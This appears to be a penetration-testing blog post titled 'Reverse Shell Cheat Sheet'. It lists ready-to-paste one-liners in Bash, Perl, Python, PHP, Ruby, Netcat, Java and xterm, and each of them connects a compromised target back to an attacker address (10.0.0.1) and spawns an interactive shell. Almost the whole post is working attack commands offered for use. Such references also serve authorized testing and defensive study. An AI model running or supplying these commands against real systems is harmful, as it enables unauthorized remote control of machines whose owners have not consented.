Reverse Shell Cheat Sheet

If you're lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you'll probably want an interactive shell.
If it's not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either throwing back a reverse shell or binding a shell to a TCP port. This page deals with the former.
Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you're suitably well prepared.
The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute "/bin/sh -i" with "cmd.exe".
Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they're quite short lines, but not very readable.

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

PERL

Here's a shorter, feature-free version of the perl-reverse-shell:

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

There's also an alternative PERL reverse shell here.

Python

This was tested under Linux / Python 2.7:

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

PHP

This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn't work, try 4, 5, 6…

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

Netcat

Netcat is rarely present on production systems and even if it is there are several versions of netcat, some of which don't support the -e option.

```
nc -e /bin/sh 10.0.0.1 1234
```

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

Java

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
```

```
p.waitFor()
```

[Untested submission from anonymous reader]

xterm

One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.

```
xterm -display 10.0.0.1:1
```

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

```
Xnest :1
```

You'll need to authorise the target to connect to you (command also run on your host):

```
xhost +targetip
```

Further Reading

Also check out Bernardo's Reverse Shell One-Liners. He has some alternative approaches and doesn't rely on /bin/sh for his Ruby reverse shell.
There's a reverse shell written in gawk over here. Gawk is not something that I've ever used myself. However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells.
Tags: bash, cheatsheet, netcat, pentest, perl, php, python, reverse shell, ruby, xterm
Posted in Shells